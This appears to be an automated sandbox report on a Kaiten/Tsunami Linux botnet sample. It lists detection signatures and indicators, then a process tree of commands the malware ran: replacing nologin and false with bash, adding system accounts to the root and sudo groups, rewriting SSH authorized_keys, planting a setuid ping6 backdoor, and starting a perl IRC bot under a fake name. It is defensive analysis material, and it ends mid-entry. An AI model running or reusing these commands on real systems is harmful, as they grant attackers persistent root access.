kaiten | 9ffc0ec1e281acb2213b638b7e7ab41720be2f9ff31c3640bf790bb406e05652

Analysis

max time kernel
147s
max time network
153s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240508-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
28-08-2024 20:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

go
Size

3KB
MD5

7ecb186e0f39db85c9e668dcb1bac301
SHA1

e42e91afdad6e32858c62700dd859011b653a80c
SHA256

e228c6a2e62ccd691cc3534b1302a301bd6fa66e6e0c44a26677d4f00cbfa6b5
SHA512

b1df507c89e5ebcb615b79c36879b2cf2b81ed705878fcfc990d39c86f428743d8d2b7b27e308d52f13e407bdeed93943f4c239b273c1747bca5a37bdf4f9eb1

Score

10^/10

kaiten botnet persistence

Malware Config

Signatures

Detects Kaiten/Tsunami Payload 3 IoCs

resource	yara_rule
behavioral5/files/fstream-2.dat	family_kaiten2
behavioral5/files/fstream-4.dat	family_kaiten2
behavioral5/files/fstream-10.dat	family_kaiten2

Detects Kaiten/Tsunami payload 2 IoCs

resource	yara_rule
behavioral5/files/fstream-4.dat	family_kaiten
behavioral5/files/fstream-10.dat	family_kaiten

Kaiten/Tsunami
Linux-based IoT botnet which is controlled through IRC and normally used to carry out DDoS attacks.
botnet kaiten

Adds new SSH keys 2 IoCs

Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.

persistence

description	ioc	Process
File opened for modification	/root/.ssh/authorized_keys	go
File opened for modification	/root/.ssh/authorized_keys	touch

Modifies password files for system users/ groups 16 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

description	ioc	Process
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/passwd	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/shadow	usermod
File opened for modification	/etc/group	usermod
File opened for modification	/etc/gshadow	usermod
File opened for modification	/etc/gshadow	usermod

Write file to user bin folder 1 TTPs 1 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
File opened for modification	/usr/sbin/nologin	cp

Writes file to system bin folder 1 TTPs 64 IoCs

Hijack Execution Flow

T1574

description	ioc	Process
File opened for modification	/sbin/debugfs	touch
File opened for modification	/sbin/ip6tables-restore	touch
File opened for modification	/sbin/reboot	touch
File opened for modification	/sbin/restorecon_xattr	touch
File opened for modification	/bin/chacl	touch
File opened for modification	/bin/chown	touch
File opened for modification	/bin/rmdir	touch
File opened for modification	/bin/vdir	touch
File opened for modification	/sbin/plymouthd	touch
File opened for modification	/bin/efibootmgr	touch
File opened for modification	/sbin/cgdisk	touch
File opened for modification	/sbin/dmstats	touch
File opened for modification	/sbin/ip	touch
File opened for modification	/sbin/partprobe	touch
File opened for modification	/sbin/wipefs	touch
File opened for modification	/bin/ntfsusermap	touch
File opened for modification	/sbin/alsa	touch
File opened for modification	/sbin/halt	touch
File opened for modification	/sbin/iptables-save	touch
File opened for modification	/sbin/setfiles	touch
File opened for modification	/bin/bzmore	touch
File opened for modification	/bin/chmod	touch
File opened for modification	/bin/date	touch
File opened for modification	/sbin/crda	touch
File opened for modification	/sbin/cfdisk	touch
File opened for modification	/sbin/resize2fs	touch
File opened for modification	/sbin/runlevel	touch
File opened for modification	/bin/cpio	touch
File opened for modification	/bin/fgrep	touch
File opened for modification	/bin/ntfscluster	touch
File opened for modification	/bin/ntfsinfo	touch
File opened for modification	/sbin/rtmon	touch
File opened for modification	/bin/cls	touch
File opened for modification	/bin/zfgrep	touch
File opened for modification	/sbin/ctrlaltdel	touch
File opened for modification	/sbin/getcap	touch
File opened for modification	/sbin/ntfscp	touch
File opened for modification	/bin/kmod	touch
File opened for modification	/sbin/brltty	touch
File opened for modification	/sbin/installkernel	touch
File opened for modification	/sbin/mount.fuse	touch
File opened for modification	/sbin/restorecon	touch
File opened for modification	/sbin/swapoff	touch
File opened for modification	/bin/chgrp	touch
File opened for modification	/bin/ed	touch
File opened for modification	/bin/ping6	touch
File opened for modification	/sbin/ifup	touch
File opened for modification	/sbin/swapon	touch
File opened for modification	/bin/pwd	touch
File opened for modification	/bin/systemd-machine-id-setup	touch
File opened for modification	/sbin/depmod	touch
File opened for modification	/sbin/mkntfs	touch
File opened for modification	/bin/ypdomainname	touch
File opened for modification	/sbin/iptables-restore	touch
File opened for modification	/bin/bunzip2	touch
File opened for modification	/bin/echo	touch
File opened for modification	/bin/lessfile	touch
File opened for modification	/bin/sleep	touch
File opened for modification	/bin/rm	touch
File opened for modification	/bin/setfont	touch
File opened for modification	/sbin/mkfs.ext4	touch
File opened for modification	/sbin/shutdown	touch
File opened for modification	/bin/false	cp
File opened for modification	/sbin/nologin	cp

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	-bash	1585	perl
Changes the process name, possibly in an attempt to hide itself	-bash	1587	perl

Reads runtime system information 18 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	usermod
File opened for reading	/proc/sys/kernel/ngroups_max	usermod
File opened for reading	/proc/filesystems	mkdir

Writes file to tmp directory 36 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ccpoS91k.s	gcc
File opened for modification	/tmp/ccqYhpFY.o	collect2
File opened for modification	/tmp/ccKN6ka6.o	collect2
File opened for modification	/tmp/cclU6ZEi.ld	collect2
File opened for modification	/tmp/ccocZFj5.res	gcc
File opened for modification	/tmp/ccpoS91k.s	cc1
File opened for modification	/tmp/ccFBxjPy.res	gcc
File opened for modification	/tmp/cckjhkJm.c	collect2
File opened for modification	/tmp/ccgk9nTw.s	gcc
File opened for modification	/tmp/cckIeegT.s	cc1
File opened for modification	/tmp/ccBTdOip.s	cc1
File opened for modification	/tmp/cc60RVN9.o	gcc
File opened for modification	/tmp/cccWqaqh.o	collect2
File opened for modification	/tmp/ccmYB5TW.o	gcc
File opened for modification	/tmp/cc0dTIKT.le	collect2
File opened for modification	/tmp/ccmYB5TW.o	as
File opened for modification	/tmp/ccYZMEF1.o	as
File opened for modification	/tmp/ccEAPu1k.le	collect2
File opened for modification	/tmp/ccgk9nTw.s	cc1
File opened for modification	/tmp/ccNyzNpU.ld	collect2
File opened for modification	/tmp/cckIeegT.s	gcc
File opened for modification	/tmp/ccfwzUt6.c	collect2
File opened for modification	/tmp/cctuQg5D.res	gcc
File opened for modification	/tmp/ccsCi7eu.o	as
File opened for modification	/tmp/ccuDKPxc.le	collect2
File opened for modification	/tmp/cc60RVN9.o	as
File opened for modification	/tmp/cco0u6MM.res	gcc
File opened for modification	/tmp/ccYoMwpx.le	collect2
File opened for modification	/tmp/ccwL0zBA.ld	collect2
File opened for modification	/tmp/cc6AIaKt.c	collect2
File opened for modification	/tmp/cckwdSAI.ld	collect2
File opened for modification	/tmp/ccu0qozH.o	collect2
File opened for modification	/tmp/ccBTdOip.s	gcc
File opened for modification	/tmp/ccYZMEF1.o	gcc
File opened for modification	/tmp/ccD2BCqE.c	collect2
File opened for modification	/tmp/ccsCi7eu.o	gcc

/tmp/go
/tmp/go
1⤵
- Adds new SSH keys
PID:1511
- /usr/bin/gcc
  gcc -o /usr/share/man/man1/kwk a.c
  2⤵
  - Writes file to tmp directory
  PID:1512
- - /usr/lib/gcc/x86_64-linux-gnu/7/cc1
    /usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu a.c -quiet -dumpbase a.c "-mtune=generic" "-march=x86-64" -auxbase a -fstack-protector-strong -Wformat -Wformat-security -o /tmp/cckIeegT.s
    3⤵
    - Writes file to tmp directory
    PID:1513
- - /usr/local/sbin/as
    as --64 -o /tmp/ccsCi7eu.o /tmp/cckIeegT.s
    3⤵
    PID:1514
- - /usr/local/bin/as
    as --64 -o /tmp/ccsCi7eu.o /tmp/cckIeegT.s
    3⤵
    PID:1514
- - /usr/sbin/as
    as --64 -o /tmp/ccsCi7eu.o /tmp/cckIeegT.s
    3⤵
    PID:1514
- - /usr/bin/as
    as --64 -o /tmp/ccsCi7eu.o /tmp/cckIeegT.s
    3⤵
    - Writes file to tmp directory
    PID:1514
- - /usr/lib/gcc/x86_64-linux-gnu/7/collect2
    /usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccocZFj5.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /usr/share/man/man1/kwk /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccsCi7eu.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:1515
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccocZFj5.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /usr/share/man/man1/kwk /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccsCi7eu.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
      4⤵
      PID:1516
- /tmp/distro
  ./distro
  2⤵
  PID:1517
- /bin/rm
  rm -rf /sbin/nologin
  2⤵
  PID:1518
- /bin/rm
  rm -rf /usr/sbin/nologin
  2⤵
  PID:1519
- /bin/rm
  rm -rf /bin/false
  2⤵
  PID:1520
- /bin/cp
  cp /bin/bash /bin/false
  2⤵
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1521
- /bin/cp
  cp /bin/bash /usr/sbin/nologin
  2⤵
  - Write file to user bin folder
  - Reads runtime system information
  PID:1522
- /bin/cp
  cp /bin/bash /sbin/nologin
  2⤵
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1523
- /usr/sbin/usermod
  usermod -G root nobody
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:1527
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1529
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1530
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1531
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1532
- /usr/sbin/usermod
  usermod -G root bin
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:1533
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1534
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1535
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1536
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1537
- /usr/sbin/usermod
  usermod -G sudo nobody
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:1538
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1539
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1540
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1541
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1542
- /usr/sbin/usermod
  usermod -G sudo bin
  2⤵
  - Modifies password files for system users/ groups
  - Reads runtime system information
  PID:1543
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1544
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1545
- - /usr/sbin/nscd
    nscd -i passwd
    3⤵
    PID:1546
- - /usr/sbin/nscd
    nscd -i group
    3⤵
    PID:1547
- /bin/rm
  rm -rf "/bin/.ssh/authorized*"
  2⤵
  PID:1548
- /bin/rm
  rm -rf "/usr/games/.ssh/authorized*"
  2⤵
  PID:1549
- /bin/mkdir
  mkdir /bin/.ssh -p
  2⤵
  - Reads runtime system information
  PID:1550
- /bin/mkdir
  mkdir /usr/games/.ssh -p
  2⤵
  - Reads runtime system information
  PID:1551
- /bin/mkdir
  mkdir /root/.ssh -p
  2⤵
  - Reads runtime system information
  PID:1552
- /bin/mkdir
  mkdir /usr/games/.ssh -p
  2⤵
  - Reads runtime system information
  PID:1553
- /usr/bin/whoami
  whoami
  2⤵
  PID:1554
- /bin/hostname
  hostname
  2⤵
  PID:1555
- /bin/mkdir
  mkdir /root/.ssh -p
  2⤵
  - Reads runtime system information
  PID:1556
- /usr/bin/whoami
  whoami
  2⤵
  PID:1557
- /bin/hostname
  hostname
  2⤵
  PID:1558
- /bin/chmod
  chmod 600 /root/.ssh/authorized_keys
  2⤵
  PID:1559
- /bin/chmod
  chmod 755 /usr/games/.ssh
  2⤵
  PID:1560
- /bin/chmod
  chmod 600 /usr/games/.ssh/authorized_keys
  2⤵
  PID:1561
- /bin/chown
  chown games:games /usr/games/.ssh/
  2⤵
  PID:1562
- /bin/chown
  chown games:games /usr/games/.ssh/authorized_keys
  2⤵
  PID:1563
- /bin/chown
  chown bin:bin /usr/bin/.ssh/
  2⤵
  PID:1564
- /bin/chown
  chown bin:bin "/usr/bin/.ssh/au*"
  2⤵
  PID:1565
- /bin/rm
  rm -rf /bin/ping6 /sbin/ping6
  2⤵
  PID:1566
- /usr/bin/gcc
  gcc -o /bin/ping6 ping.c
  2⤵
  - Writes file to tmp directory
  PID:1567
- - /usr/lib/gcc/x86_64-linux-gnu/7/cc1
    /usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu ping.c -quiet -dumpbase ping.c "-mtune=generic" "-march=x86-64" -auxbase ping -fstack-protector-strong -Wformat -Wformat-security -o /tmp/ccpoS91k.s
    3⤵
    - Writes file to tmp directory
    PID:1568
- - /usr/local/sbin/as
    as --64 -o /tmp/ccmYB5TW.o /tmp/ccpoS91k.s
    3⤵
    PID:1569
- - /usr/local/bin/as
    as --64 -o /tmp/ccmYB5TW.o /tmp/ccpoS91k.s
    3⤵
    PID:1569
- - /usr/sbin/as
    as --64 -o /tmp/ccmYB5TW.o /tmp/ccpoS91k.s
    3⤵
    PID:1569
- - /usr/bin/as
    as --64 -o /tmp/ccmYB5TW.o /tmp/ccpoS91k.s
    3⤵
    - Writes file to tmp directory
    PID:1569
- - /usr/lib/gcc/x86_64-linux-gnu/7/collect2
    /usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccFBxjPy.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/ping6 /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccmYB5TW.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:1570
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/ccFBxjPy.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/ping6 /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccmYB5TW.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
      4⤵
      PID:1571
- /bin/chmod
  chmod u+xs /bin/ping6
  2⤵
  PID:1572
- /bin/cp
  cp /bin/ping6 /sbin/uid
  2⤵
  - Reads runtime system information
  PID:1573
- /bin/cp
  cp /bin/ping6 /usr/include/bakla.h
  2⤵
  - Reads runtime system information
  PID:1574
- /usr/bin/gcc
  gcc -DLINUX -Wall -o /bin/cls cls.c
  2⤵
  - Writes file to tmp directory
  PID:1575
- - /usr/lib/gcc/x86_64-linux-gnu/7/cc1
    /usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu -D LINUX cls.c -quiet -dumpbase cls.c "-mtune=generic" "-march=x86-64" -auxbase cls -Wall -fstack-protector-strong -Wformat-security -o /tmp/ccBTdOip.s
    3⤵
    - Writes file to tmp directory
    PID:1576
- - /usr/local/sbin/as
    as --64 -o /tmp/ccYZMEF1.o /tmp/ccBTdOip.s
    3⤵
    PID:1577
- - /usr/local/bin/as
    as --64 -o /tmp/ccYZMEF1.o /tmp/ccBTdOip.s
    3⤵
    PID:1577
- - /usr/sbin/as
    as --64 -o /tmp/ccYZMEF1.o /tmp/ccBTdOip.s
    3⤵
    PID:1577
- - /usr/bin/as
    as --64 -o /tmp/ccYZMEF1.o /tmp/ccBTdOip.s
    3⤵
    - Writes file to tmp directory
    PID:1577
- - /usr/lib/gcc/x86_64-linux-gnu/7/collect2
    /usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cctuQg5D.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/cls /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccYZMEF1.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:1578
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cctuQg5D.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/cls /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/ccYZMEF1.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
      4⤵
      PID:1579
- /usr/bin/gcc
  gcc clean.c -o /bin/clean -D Linux
  2⤵
  - Writes file to tmp directory
  PID:1580
- - /usr/lib/gcc/x86_64-linux-gnu/7/cc1
    /usr/lib/gcc/x86_64-linux-gnu/7/cc1 -quiet -imultiarch x86_64-linux-gnu -D Linux clean.c -quiet -dumpbase clean.c "-mtune=generic" "-march=x86-64" -auxbase clean -fstack-protector-strong -Wformat -Wformat-security -o /tmp/ccgk9nTw.s
    3⤵
    - Writes file to tmp directory
    PID:1581
- - /usr/local/sbin/as
    as --64 -o /tmp/cc60RVN9.o /tmp/ccgk9nTw.s
    3⤵
    PID:1582
- - /usr/local/bin/as
    as --64 -o /tmp/cc60RVN9.o /tmp/ccgk9nTw.s
    3⤵
    PID:1582
- - /usr/sbin/as
    as --64 -o /tmp/cc60RVN9.o /tmp/ccgk9nTw.s
    3⤵
    PID:1582
- - /usr/bin/as
    as --64 -o /tmp/cc60RVN9.o /tmp/ccgk9nTw.s
    3⤵
    - Writes file to tmp directory
    PID:1582
- - /usr/lib/gcc/x86_64-linux-gnu/7/collect2
    /usr/lib/gcc/x86_64-linux-gnu/7/collect2 -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cco0u6MM.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/clean /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/cc60RVN9.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
    3⤵
    - Writes file to tmp directory
    PID:1583
  - - /usr/bin/ld
      /usr/bin/ld -plugin /usr/lib/gcc/x86_64-linux-gnu/7/liblto_plugin.so "-plugin-opt=/usr/lib/gcc/x86_64-linux-gnu/7/lto-wrapper" "-plugin-opt=-fresolution=/tmp/cco0u6MM.res" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" "-plugin-opt=-pass-through=-lc" "-plugin-opt=-pass-through=-lgcc" "-plugin-opt=-pass-through=-lgcc_s" --build-id --eh-frame-hdr -m elf_x86_64 "--hash-style=gnu" --as-needed -dynamic-linker /lib64/ld-linux-x86-64.so.2 -pie -z now -z relro -o /bin/clean /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/Scrt1.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crti.o /usr/lib/gcc/x86_64-linux-gnu/7/crtbeginS.o -L/usr/lib/gcc/x86_64-linux-gnu/7 -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu -L/usr/lib/gcc/x86_64-linux-gnu/7/../../../../lib -L/lib/x86_64-linux-gnu -L/lib/../lib -L/usr/lib/x86_64-linux-gnu -L/usr/lib/../lib -L/usr/lib/gcc/x86_64-linux-gnu/7/../../.. /tmp/cc60RVN9.o -lgcc --push-state --as-needed -lgcc_s --pop-state -lc -lgcc --push-state --as-needed -lgcc_s --pop-state /usr/lib/gcc/x86_64-linux-gnu/7/crtendS.o /usr/lib/gcc/x86_64-linux-gnu/7/../../../x86_64-linux-gnu/crtn.o
      4⤵
      PID:1584
- /usr/bin/perl
  perl bot gsm.ftp.sh 1080 -bash
  2⤵
  - Changes its process name
  PID:1585
- /usr/bin/perl
